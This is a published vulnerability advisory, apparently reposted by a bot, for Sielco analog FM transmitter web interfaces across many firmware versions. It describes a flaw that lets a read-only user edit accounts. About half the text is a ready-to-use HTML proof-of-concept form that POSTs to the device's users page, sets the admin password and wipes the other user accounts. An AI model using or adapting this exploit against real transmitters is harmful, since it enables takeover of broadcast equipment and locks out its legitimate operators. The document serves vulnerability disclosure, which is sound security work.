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Sielco Analog FM Transmitter 2.12 Improper Access Control Change Admin Password

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
922
561
www.zeroscience.mk
HTML:
<!--

Sielco Analog FM Transmitter 2.12 Improper Access Control Change Admin Password


Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.12 (EXC5000GX)
                  2.12 (EXC120GX)
                  2.11 (EXC300GX)
                  2.10 (EXC1600GX)
                  2.10 (EXC2000GX)
                  2.08 (EXC1600GX)
                  2.08 (EXC1000GX)
                  2.07 (EXC3000GX)
                  2.06 (EXC5000GX)
                  1.7.7 (EXC30GT)
                  1.7.4 (EXC300GT)
                  1.7.4 (EXC100GT)
                  1.7.4 (EXC5000GT)
                  1.6.3 (EXC1000GT)
                  1.5.4 (EXC120GT)

Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.

Desc: The application suffers from improper access control when
editing users. A user with Read permissions can manipulate users,
passwords and permissions by sending a single HTTP POST request
with modified parameters and edit other users' names, passwords
and permissions including admin password.

Tested on: lwIP/2.1.1
           Web/3.0.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5756
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5756.php


26.01.2023

-->


<html>
  <body>
    <form action="http://transmitter/protect/users.htm" method="POST">
      <input type="hidden" name="pwd0" value="PWDCHANGED" />     <!-- This will set/modify admin pwd -->
      <input type="hidden" name="pwd0bis" value="PWDCHANGED" />  <!-- This will set/modify admin pwd -->
      <input type="hidden" name="user1" value="" />              <!-- This will set/modify user1 -->
      <input type="hidden" name="pwd1" value="" />               <!-- This will set/modify user1 pwd -->
      <input type="hidden" name="pwd1bis" value="" />            <!-- This will set/modify user1 pwd -->
      <input type="hidden" name="auth1" value="0" />             <!-- This will set user1 read perm -->
      <input type="hidden" name="user2" value="" />              <!-- This will set/modify user2 -->
      <input type="hidden" name="pwd2" value="" />               <!-- This will set/modify user2 pwd -->
      <input type="hidden" name="pwd2bis" value="" />            <!-- This will set/modify user2 pwd -->
      <input type="hidden" name="auth2" value="0" />             <!-- This will set user2 read perm -->
      <input type="hidden" name="user3" value="" />              <!-- This will set/modify user3 -->
      <input type="hidden" name="pwd3" value="" />               <!-- This will set/modify user3 pwd -->
      <input type="hidden" name="pwd3bis" value="" />            <!-- This will set/modify user3 pwd -->
      <input type="hidden" name="auth3" value="0" />             <!-- This will set user3 read perm -->
      <input type="submit" value="Modify admin pwd, delete all users" />
    </form>
  </body>
</html>


 

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